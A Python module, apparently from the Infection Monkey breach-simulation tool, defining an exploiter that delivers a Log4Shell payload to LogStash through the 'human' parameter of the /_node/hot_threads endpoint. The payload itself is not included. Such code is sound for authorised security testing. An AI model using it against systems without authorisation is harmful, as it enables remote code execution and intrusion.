from logging import getLogger

import requests

from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
from infection_monkey.i_puppet import TargetHost

from .i_service_exploiter import IServiceExploiter

logger = getLogger(__name__)


class LogStashExploit(IServiceExploiter):
    service_name = "LogStash"

    @staticmethod
    def trigger_exploit(payload: str, host: TargetHost, port: int):
        url = f"http://{host.ip}:{port}/_node/hot_threads?human={payload}"
        try:
            requests.get(url, timeout=MEDIUM_REQUEST_TIMEOUT, verify=False)  # noqa DUO123
        except requests.ReadTimeout as e:
            logger.debug(f"Log4shell request failed {e}")

        return url
